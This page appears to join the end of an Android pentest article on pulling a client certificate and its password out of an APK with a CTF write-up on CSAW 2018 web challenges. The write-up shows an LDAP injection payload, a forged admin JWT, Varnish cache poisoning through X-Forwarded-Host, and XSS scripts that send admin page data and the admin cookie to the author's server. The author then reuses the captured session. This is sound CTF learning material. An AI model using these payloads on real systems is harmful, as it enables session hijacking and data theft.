如果服务器端会对客户端证书进行校验, 证书应该就直接存放在apk里, 网上与SSL双向校验相关的文章都将证书放到`<app>/asset`目录下,
也就是app的资源目录下, 也有可能放在`/res/raw`目录下。直接将app解压之后, 发现证书的位置如下：
如果找半天没找到就用关键词`.p12/.pfx`搜索证书文件。
在我们要使用该证书的时候, 需要输入安装证书的密码。这时候就需要从源码中获取安装证书的密码了。可能是因为多个dex文件的原因,
直接用JEB反编译的时候出错了, 所以我用GDA反编译来分析应用的源代码
### 获取安装证书的密码
发现通过关键词"PKCS12"能够定位到加载证书的位置。
上图第二个红框中的load函数的第二个参数其实就是证书的密钥, 追根溯源, 我们可以知道v1参数是下图中调用的函数的返回值。
上图的函数的功能就是传递p0参数, 也就是说p0参数就是证书安装密码。想获取这个密码, 关键在于Auto_getValue函数。到这一步,
只要跟进Null_getStorePassword函数看看就好了。
跟进去发现调用了native层的函数, 查看init函数中具体加载的是哪个so文件：
用IDA反编译soul-netsdk之后, 搜索字符串"getStorePassword", 就定位到函数getStorePassword上了, F5之后,
获得伪代码和密钥：
### 代理添加客户端证书
HttpCanary添加客户端证书进行抓包的过程可以参照文章[Android平台HTTPS抓包解决方案及问题分析](https://juejin.im/post/5cc313755188252d6f11b463),
在自己头昏的时候也感谢这篇文章的作者MegatronKing点醒我。下面主要讲解Fiddler和burpsuite添加客户端证书的方法。
#### fiddler操作过程
尝试一下用Fiddler处理这部分的内容来安装客户端的证书, 用来绕过双向认证。
用Fiddler抓取该应用的数据包的时候, 发现Fiddler出现了上面的弹窗, 提示要添加ClientCertificate.cer,
才能抓取到传输的数据包, 不然只会出现400的状态码。而我们文件目录下只能找到`client.p12`和`client.crt`两种格式的证书文件,
所以我们需要将已有的client证书转换成`.cer`格式的证书。
好像应用中只出现`.p12`格式的证书的情况比较常见,
所以下面只会提及如何使用openssl将`.p12`格式的证书转换成`.cer/.der`格式的证书。(.der和.cer格式的证书仅有文件头和文件尾不同)
下面的命令实现了证书的格式转换, `.p12`->`.pem`->`.cer`, 在生成`.pem`格式的证书之后, 需要输入证书的密码,
也就是我们上面逆向获取的证书密码。最后将`ClientCertificate.cer`移动到之前Fiddler弹窗出现的目录下,
也就是`<Fiddler安装路径>\Fiddler2`下。
# 将.p12证书转换成.pem格式
$ openssl pkcs12 -in client.p12 -out ClientCertificate.pem -nodes
Enter Import Password:
# 将.pem证书转换成.cer格式
$ x509 -outform der -in ClientCertificate.pem -out ClientCertificate.cer
现在打开Fiddler尝试抓包, 发现原本显示400的数据包现在能够正常抓取到了, 如果还是不能正常抓取到,
双击`client.p12`将证书安装到本地试试看。
#### burp操作过程
手机的burpsuite证书安装成功之后, 我们会发现只能抓取到400的状态码。
因为要绕过服务器端对证书的验证, 我们还需要在这里添加上面我们在asset目录下找到的证书。
安装完就能正常抓取数据包了。
## 抓取TCP的数据包
现在还不知道怎么能够获取TCP的数据包并对其中的内容进行解密,
不过之前在看雪上看到一篇分析使用TCP传输协议的文章[某直播APP逆向TCP协议分析](https://bbs.pediy.com/thread-251063.htm),
我大概看了一下, 文章是从逆向的角度分析的, 具体怎么从渗透的角度发现是TCP协议传输的数据包还没有分析过,
看作者使用了wireshark抓取应用的数据包并进行分析, 这个还是要重新分析一下的。
# 结语
文章最后, 还要感谢华华师傅, 其实实习的时候接触android的时间也不长, 但是之后真的让我接触到很多和学到很多, 也谢谢师傅能耐心地帮我解答问题,
感恩。 | 社区文章 |
## CSAW 2018 部分web Writeup
CSAW的题目质量相当不错，有一定的难度，有一段时间没有打过CTF了，实力退步的很明显,现在题目环境还没关，继续水一水啦(滑稽.jpg）
如果有对题目了解不深刻的地方，欢迎各位大师傅指出，感激不尽。
### Ldab
dab
http://web.chal.csaw.io:8080
默认进来题目有一个搜索框，感觉是和数据库差不多的,打开界面显示如下信息。
OU CN SN GivenName UID
Employees pminksy Minsky Petepminsky
Employees bharley Harley Bob bharley
Employees jross RossJakejross
Employees fdawson Dawson Fredfdawson
Employees rcave CaveRobert rcave
Employees XerxesHansenHansen Xerxes XerxesHansen
感觉就是数据库查询,`fuzz`了一波发现正常的sql注入不行，只有`*`可以正常使用
http://web.chal.csaw.io:8080/index.php?search=*
然后根据dab并没有搜到什么有用的东西，不过可以猜测这是一种数据库。
最后根据题目Ldab的提示在stackoverflow中可以搜索到如下清晰的解释
LDAP is a protocol for accessing directories, SQL is a query language for databases.
Both systems store data, but the big difference is: directories (like Active Directory) are tuned towards a lot more reads than writes, e.g. reading information should be very easy, trivial indeed (and offer great performance), while updating can be a bit of a pain. Also: directories are often distributed, e.g. spread across multiple servers/locations, and offer mechanisms to easily replicate read-only data across locations.
SQL databases on the other hand are geared towards a more balanced load of read and write, and thus, writes must also be as easy as possible.
So this boils down to:
if you have data (like user accounts, permissions) that are mostly read (but not very often updated), then a directory sounds like a great solution
if you need to frequently insert new data and update existing data, then a database is much more suited to your needs. Don't try to create an order entry system inside a directory - it's a poor match.....
Those distinctions aren't "absolute" or clear - it's often a judgment call whether to put something into your database, or whether it belongs into a directory.
这样就可以知道这两种都是基于数据库，直接搜索LDAP注入payload。
最后我在[这里](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection)直接搜索到了payload
如下
*)(uid=*))(|(uid=*
如果有想学ldap的小伙伴，可以参考[LDAP基础概念](http://blog.51cto.com/407711169/1439623)，可以对这道题了解更加深入，不过我感觉大致和sql差不多。
### SSO
Don't you love undocumented APIs
Be the `admin` you were always meant to be
http://web.chal.csaw.io:9000
Update chal description at: 4:38 to include solve details
Aesthetic update for chal at Sun 7:25 AM
主界面如下
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
<a href="/protected">.</a>
<!-- Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
POST /oauth2/token
POST /oauth2/authorize form-data TODO: make a form for this route
--!>
将这几个连接逐个访问
GET /protected
Missing header: Authorization
POST /oauth2/token
incorrect grant_type
POST /oauth2/authorize
response_type not code
并没有获得什么信息，所以关注点就在OAUTH2.0上了。
在[阮一峰](http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html)老师这里有对OAUTH2.0的讲述，非常明了。
从阮老师的博客我们可以看到用户的授权模式分为:
授权码模式（authorization code）
简化模式（implicit）
密码模式（resource owner password credentials）
客户端模式（client credentials）
不过根据关键字FULL OAUTH2.0我们可以看到这里的考察点是授权码模式
然后逐步授权的步骤如下
（A）用户访问客户端，后者将前者导向认证服务器。
（B）用户选择是否给予客户端授权。
（C）假设用户给予授权，认证服务器将用户导向客户端事先指定的"重定向URI"（redirection URI），同时附上一个授权码。
（D）客户端收到授权码，附上早先的"重定向URI"，向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的，对用户不可见。
（E）认证服务器核对了授权码和重定向URI，确认无误后，向客户端发送访问令牌（access token）和更新令牌（refresh token）。
可以知道我们第一步就需要获取授权码。然后用自己的服务器接收授权码，在向题目服务器申请令牌，最后在信息不变的情况下再带着信息访问题目主界面。
（A）用户访问客户端，后者将前者导向认证服务器。
response_type：表示授权类型，必选项，此处的值固定为"code"
client_id：表示客户端的ID，必选项
redirect_uri：表示重定向URI，可选项
scope：表示申请的权限范围，可选项
state：表示客户端的当前状态，可以指定任意值，认证服务器会原封不动地返回这个值。
再根据阮老师给出的例子，我构造出如下包
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
response_type=code&redirect_uri=http://188.xxx.xxx.xxx:12345&client_id=theKingOfNight
返回如下
HTTP/1.1 302 Found
Location: http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&state=
Content-Type: text/html; charset=utf-8
Content-Length: 577
Date: Sun, 30 Sep 2018 14:04:28 GMT
Connection: close
Redirecting to <a href="http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&state=">http://188.xxx.xxx.xxx:12345?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&state=</a>.
根据经验，可以知道这是[jwt](https://jwt.io/)，直接在线解密，不过没什么东西
{
"client_id": "theKingOfNight",
"redirect_uri": "http://188.xxx.xxx.xxx:12345",
"iat": 1538316268,
"exp": 1538316868
}
在这里就成功获得了code，然后下一步就是获取令牌了，获取token的参数如下：
grant_type：表示使用的授权模式，必选项，此处的值固定为"authorization_code"。
code：表示上一步获得的授权码，必选项。
redirect_uri：表示重定向URI，必选项，且必须与A步骤中的该参数值保持一致。
client_id：表示客户端ID，必选项。
继续参考阮老师给出的代码事例，构造出包。
POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 330
grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiJ0aGVLaW5nT2ZOaWdodCIsInJlZGlyZWN0X3VyaSI6Imh0dHA6Ly8xODguMTMxLjEzMi4xMzc6MTIzNDUiLCJpYXQiOjE1MzgzMTYyNjgsImV4cCI6MTUzODMxNjg2OH0.03ghxr6JpS7ivcr8Cldf9fjSmH3TeZcXLryh25C5qSU&redirect_uri=http://188.xxx.xxx.xxx:12345&client_id=theKingOfNight
返回如下
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sun, 30 Sep 2018 14:07:28 GMT
Connection: close
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzODMxNjQ0OCwiZXhwIjoxNTM4MzE3MDQ4fQ.oD1RXTdAC2aTajycWAGw9eRVWbOdK5VG1217Bi8C2bE"}
如果不成功的话，记得重新多做几次，会成功的
这段token解密为
{
"type": "user",
"secret": "ufoundme!",
"iat": 1538316448,
"exp": 1538317048
}
直接用这段token去访问/protected
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
Content-Length: 41
Date: Sun, 30 Sep 2018 14:28:27 GMT
Connection: close
You must be admin to access this resource
调整为admin，secret设置为他给的secret
Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzgzMTY0NDgsImV4cCI6MTUzODMxNzA0OH0.PGuObHUu8z7cIQPGvS07gZ5X76C4hKzPrT3UhzKKfK0
然后好像服务器的admin部分崩了??????
### Hacker Movie Club
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.
Author: itszn (ret2 systems)
http://app.hm.vulnerable.services/
这个题不错，看起来很厉害(虽然确实也很厉害)...
主界面是这样
Hacker Movie Club
NameYearLength
WarGames19831 Hour, 54 Minutes
Kung Fury 20150 Hours, 31 Minutes
Sneakers19922 Hours, 6 Minutes
Swordfish 20011 Hour, 39 Minutes
The Karate Kid 19842 Hours, 6 Minutes
Ghost in the Shell 19951 Hour, 23 Minutes
Serial Experiments Lain 19985 Hours, 16 Minutes
The Matrix 19992 Hours, 16 Minutes
Blade Runner19821 Hour, 57 Minutes
Blade Runner 2049 20172 Hours, 43 Minutes
Hackers 19951 Hour, 47 Minutes
TRON19821 Hour, 36 Minutes
Tron: Legacy20102 Hours, 5 Minutes
Minority Report 20022 Hours, 25 Minutes
eXistenZ19992 Hours, 37 Minutes
主界面的代码如下（去掉style）:
<html>
<head>
<script data-src="mustache.min.js" data-cdn="820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services"></script>
<style>
@import url('https://fonts.googleapis.com/css?family=Orbitron');
<script src="/cdn.js"></script>
<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>
**app.js**
var token = null;
Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);
grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
这里有个 `// The admin is on her way to check the page`，这里就需要想到如何获取管理员的东西。而且这里
`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`这里是取一个网站的模板文件，
而且不是本网站，就需要考虑获得一定权限后可不可以访问外网，同源跨域的问题等等这里不是很熟悉。
**app.js----response**
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Tue, 02 Oct 2018 04:26:41 GMT
Content-Type: application/javascript
Content-Length: 1631
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, OPTIONS, GET
Access-Control-Max-Age: 21600
Access-Control-Allow-Headers: X-Forwarded-Host
X-Varnish: 340597 4142388
Age: 43
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: close
这里app.js的返回包头部信息我们可以看到
Access-Control-Allow-Origin: *
允许的范围特别广，这应该就是一个漏洞，这里就可以思考题目可不可以访问到我们的服务器
X-Varnish: 340597 4142388
这个东西没有见过，后续理思路的时候在用。
**cdn.js**
for (let t of document.head.children) {
if (t.tagName !== 'SCRIPT')
continue;
let { cdn, src } = t.dataset;
if (cdn === undefined || src === undefined)
continue;
fetch(`//${cdn}/cdn/${src}`,{
headers: {
'X-Forwarded-Host':cdn
}}
).then(r=>r.blob()).then(b=> {
let u = URL.createObjectURL(b);
let s = document.createElement('script');
s.src = u;
document.head.appendChild(s);
});
}
正如访问如下的返回包
可以看到这里将获取到的`//820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services/cdn/main.mst`
添加上'
X-Forwarded-Host':820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137 的头部
GET /cdn/mustache.min.js HTTP/1.1
Host: 820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services
Origin: http://app.hm.vulnerable.services
X-Forwarded-Host: 820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://app.hm.vulnerable.services/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
If-None-Match: "1536960042.0-9553-2615478926"
If-Modified-Since: Fri, 14 Sep 2018 21:20:42 GMT
Accept-Encoding: gzip, deflate
Connection: close
**/cdn/main.mst**
<div class="header">
Hacker Movie Club
</div>
{{#admin}}
<div class="header admin">
Welcome to the desert of the real.
</div>
{{/admin}}
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
{{^admin_only}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/admin_only}}
{{/movies}}
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
很明显这是一个模板文件
之前有做过一道cdn的题，就是admin访问一个不存在的模板文件，然后用户利用cdn直接得到管理员的权限...
这道题有些不同
**/movies**
{
"admin": false,
"movies": [{
"admin_only": false,
"length": "1 Hour, 54 Minutes",
"name": "WarGames",
"year": 1983
},
··········
{
"admin_only": true,
"length": "22 Hours, 17 Minutes",
"name": "[REDACTED]",
"year": 2018
}]
}
这里可以看到只有一个admin_only为True，尝试将这里改为flase
GET /api/movies HTTP/1.1
Host: app.hm.vulnerable.services
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://app.hm.vulnerable.services/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
Burpsuite
Do intercept >Response to this request
就可以修改这个包
然后就会显示出来默认设置为true的那项，所以这里可以知道我们的目标就是获取admin的界面，flag应该就在其中。
Hacker Movie Club
NameYearLength
WarGames19831 Hour, 54 Minutes
Kung Fury 20150 Hours, 31 Minutes
Sneakers19922 Hours, 6 Minutes
Swordfish 20011 Hour, 39 Minutes
The Karate Kid 19842 Hours, 6 Minutes
Ghost in the Shell 19951 Hour, 23 Minutes
Serial Experiments Lain 19985 Hours, 16 Minutes
The Matrix 19992 Hours, 16 Minutes
Blade Runner19821 Hour, 57 Minutes
Blade Runner 2049 20172 Hours, 43 Minutes
Hackers 19951 Hour, 47 Minutes
TRON19821 Hour, 36 Minutes
Tron: Legacy20102 Hours, 5 Minutes
Minority Report 20022 Hours, 25 Minutes
eXistenZ19992 Hours, 37 Minutes
[REDACTED] 201822 Hours, 17 Minutes
这下思路就比较清晰了
app.js ----> Access-Control-Allow-Origin: *
未知的头部 ---->X-Varnish:
少见的头部----->X-Forwarded-Host
admin的模板文件---->/cdn/main.mst
然后好像没有什么可以交互的地方.....
Origin: *这么大应该是需要我们的服务器的，admin的模板文件暴露出来，可能需要我们来充当admin，然后没有什么可以交互的地方，
所以关注点就停留在了X-Varnish和X-Forwarded-Host上罕见的东西一般是一个比较简单的考点，期望这个东西可以带来意想不到的效果.....
手册给出如下解释....
[X-Forwarded-Host:](https://cloud.tencent.com/developer/section/1190030)
X-Forwarded-Host（XFH）报头是用于识别由客户机在所要求的原始主机一个事实上的标准报头Host的 HTTP 请求报头。
反向代理（负载均衡器，CDN）的主机名称和端口可能与处理请求的源服务器不同，在这种情况下，X-Forwarded-Host头部可用于确定最初使用哪个主机。
此标题用于调试，统计和生成依赖于位置的内容，并且通过设计它可以显示隐私敏感信息，例如客户端的 IP 地址。因此，在部署此标头时必须牢记用户的隐私。
句法：X-Forwarded-Host: <host>
X-Forwarded-Host: id42.example-cdn.com
好像没什么用
[X-Varnish](https://cloud.tencent.com/developer/article/1114517)
什么是web cache?
Web缓存是指一个Web资源(如html页面，图片，js，数据等）存在与Web服务器和客户端(浏览器）直接的副本。缓存会根据进来的请求保存输出内容的副本；当下一个请求到来的时候，如果是相同的URL，缓存会根据缓存机制决定是直接使用副本响应访问请求还是向源服务器再次发送请求。
varnish介绍：
varnish以一款开源的、高性能的http反向代理的缓存软件；
这里就可以知道如果我们服务器的文件被缓存下来就可以搞事情了。
直接搜索X-Forwarded-Host+X-Varnish漏洞利用
这里我参考了这篇[利用HTTP host头攻击的技术 ](http://www.vuln.cn/6771)
这里重点关注缓存污染，而且介绍了X-Forwarded-Host头部的危险性
题目中有X-Forwarded-Host的文件有
/cdn/mustache.min.js
/cdn/app.js
而且头部会有两种情况
get options
get会有X-Forwarded-Host的头部
options没有
所以这里暂时推测options其实是访问get的缓存(这里纯属个人推断，有问题希望大师傅们指出)
所以这里我们需要控制第一个(get)，然后后续访问我们的缓存
直接burp
spiner->clear$
payload->type->Null payload
->Continue indefinitely
Options->thread 20足以
我反复发了如下包(当然是没有这个域名的)
GET /cdn/app.js HTTP/1.1
Host: 820e8a7e9ae4daae86d9d9a3d3bdc6e50ebc0137.hm.vulnerable.services
Origin: http://app.hm.vulnerable.services
X-Forwarded-Host: the.King.Of.Night
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://app.hm.vulnerable.services/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
然后打开浏览器，访问(这里我用的谷歌)
F12->Network中可以看到main.mst为红色
点开发现Failed to load response data
blob:http://app.hm.vulnerable.services/d4432a3a-0c26-4a04-a01b-8efab0d71dc9:5 GET http://the.king.of.night/cdn/main.mst 0 ()
(anonymous) @ blob:http://app.hm.vulnerable.services/d4432a3a-0c26-4a04-a01b-8efab0d71dc9:5
这里可以看到we did it!!!!
不过我设置的X-Forwarded-Host: the.King.Of.Night，变成了the.king.of.night，好像和域名都是小写字母一样吧
剩下目标就很明确了，我们要成为admin，在服务器上根据admin的模板文件进行布置
在服务器上布置app.js,main.mst，继续无限发包
**main.mst**
<div class="header">
Hacker Movie Club
</div>
<div class="header admin">
Welcome to the desert of the real.
</div>
<table class="movies">
<thead>
<th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>
{{#movies}}
<tr>
<td>{{ name }}</td>
<td>{{ year }}</td>
<td>{{ length }}</td>
</tr>
{{/movies}}
</tbody>
</table>
<div class="captcha">
<div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://188.xxx.xxx.xxx/'+'{{#movies}}{{ name }}{{/movies}}')">
**app.js**
var token = null;
Promise.all([
fetch('/api/movies').then(r=>r.json()),
fetch(`//188.xxx.xxx.xxx/cdn/main.mst`).then(r=>r.text()),
new Promise((resolve) => {
if (window.loaded_recapcha === true)
return resolve();
window.loaded_recapcha = resolve;
}),
new Promise((resolve) => {
if (window.loaded_mustache === true)
return resolve();
window.loaded_mustache = resolve;
})
]).then(([user, view])=>{
document.getElementById('content').innerHTML = Mustache.render(view,user);
grecaptcha.render(document.getElementById("captcha"), {
sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
theme: 'dark',
callback: t=> {
token = t;
document.getElementById('report').disabled = false;
}
});
let hidden = true;
document.getElementById('report').onclick = () => {
if (hidden) {
document.getElementById("captcha").parentElement.style.display='block';
document.getElementById('report').disabled = true;
hidden = false;
return;
}
fetch('/api/report',{
method: 'POST',
body: JSON.stringify({token:token})
}).then(r=>r.json()).then(j=>{
if (j.success) {
// The admin is on her way to check the page
alert("Neo... nobody has ever done this before.");
alert("That's why it's going to work.");
} else {
alert("Dodge this.");
}
});
}
});
一段时间后出现如下
Failed to load http://188.xxx.xxx.xxx/cdn/main.mst:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
Origin 'http://app.hm.vulnerable.services' is therefore not allowed access.
If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
(index):1 Uncaught (in promise) TypeError: Failed to fetch
Promise.then (async)
(anonymous) @ blob:http://app.hm.vulnerable.services/2a2a5c2b-f0cb-4879-b216-7b408b57cc8d:16
意思就是说我们服务器的返回包需要有Access-Control-Allow-Origin这个字段，这样就很简单了，直接搜索如何返回头部添加，
默认的apache2好像稍微麻烦一点。
直接搜索头部加CORS的方法,使用如下python代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer)
这里有一个坑,只有burp开着代理本地访问网页才能成功，如果走代理的话是访问不到的。
访问即得flag可以稍微等待一哈在访问题目
这个题做了好久，不过涨见识了,脑子是个好东西...
### No Vulnerable Services
No Vulnerable Services is a company founded on the idea that all websites should be secure. We use the latest web security standards, and provide complementary pentests of all customer sites with our exclusive NoPwn® guarantee.
Be #unhackable.
http://no.vulnerable.services/
正常打开界面，主界面返回包的头部如下
HTTP/1.1 200 OK
Date: Wed, 03 Oct 2018 01:48:26 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
X-Served-By: d8a50228.ip.no.vulnerable.services
Content-Security-Policy: default-src 'none'; script-src *.no.vulnerable.services https://www.google.com/ https://www.gstatic.com/; style-src *.no.vulnerable.services https://fonts.googleapis.com/ 'unsafe-inline'; img-src *.no.vulnerable.services; font-src *.no.vulnerable.services https://fonts.gstatic.com/; frame-src https://www.google.com/
Content-Length: 6943
Connection: close
Content-Type: text/html; charset=UTF-8
关注点在两个上
X-Served-By: d8a50228.ip.no.vulnerable.services
Content-Security-Policy:······
fuzz一波可以发现这里指代的应该是ip,我在这里解密
d8a50228->216.165.2.40
尝试将这里改为我服务器的ip
http://bcxxxxxxx.ip.no.vulnerable.services/
发现可以正常访问,显示了我服务器的主页。
再来看看CSP
Content-Security-Policy(CSP)的东西比较多，直接采用[谷歌的CSP检测工具检测](https://csp-evaluator.withgoogle.com/)
检测出如下问题
High severity finding
*error*
--- **script-src**
* Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
------ *.no.vulnerable.services
* No bypass found; make sure that this URL doesn't serve JSONP replies or Angular libraries.
------- https://www.google.com/
* www.google.com is known to host JSONP endpoints which allow to bypass this CSP.
------- https://www.gstatic.com/
* www.gstatic.com is known to host Angular libraries which allow to bypass this CSP.
*
只有一个可以与网站交互的地方
Get in touch
Give us your email address and a description of your company and we'll reach out when we have capacity.
[Your Email Address]
[Tell us about your company]
(Get Started)
如何使题目访问到我们的服务器就是一个值得思考的问题，最终采用如下方式
[email protected]
<script type="text/javascript" src="//bcxxxxx.ip.no.vulnerable.services/cookie.js"></script>
为了方便，这里采用一个简易的python服务器
try:
# Python 3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
import sys
def test (*args):
test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
from BaseHTTPServer import HTTPServer, test
from SimpleHTTPServer import SimpleHTTPRequestHandler
class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
print(self.headers)
SimpleHTTPRequestHandler.do_GET(self)
if __name__ == '__main__':
test(MyHandler, HTTPServer)
用来获取访问的头部，同时在服务器上放置如下脚本
**cookie.js**
var img = document.createElement("img");
img.src = "http://bcxxxxxx.ip.no.vulnerable.services/?cookie=" + encodeURI(document.cookie);
document.body.appendChild(img);
这里有一个坑点，就是得需要进行谷歌的人机验证，否则无法正常传输数据到网站那边，应该得fu强成功访问后，得到如下信息
Thank you
We'll review your application shortly and reach out when we have capacity.
同时服务器接收了如下信息
216.165.2.40 - - [03/Oct/2018 12:33:56] "GET /cookie.js HTTP/1.1" 200 - Host: bcxxxxxx.ip.no.vulnerable.services
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 HeadlessChrome/69.0.3497.81 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://admin.no.vulnerable.services/review.php?id=2652
Accept-Encoding: gzip, deflate
216.165.2.40 - - [03/Oct/2018 12:33:57] "GET /?cookie=PHPSESSID=k0qfm8ptanuevpbu0shsjmohc9 HTTP/1.1" 200 -
在这里我们可以得到
Safari浏览器
admin.no.vulnerable.services/review.php?id=2652
admin的cookie=PHPSESSID=k0qfm8ptanuevpbu0shsjmohc9
使用这个cookie访问`admin.no.vulnerable.services`
<html>
<head>
<title>NVS INTERNAL - Admin</title>
</head>
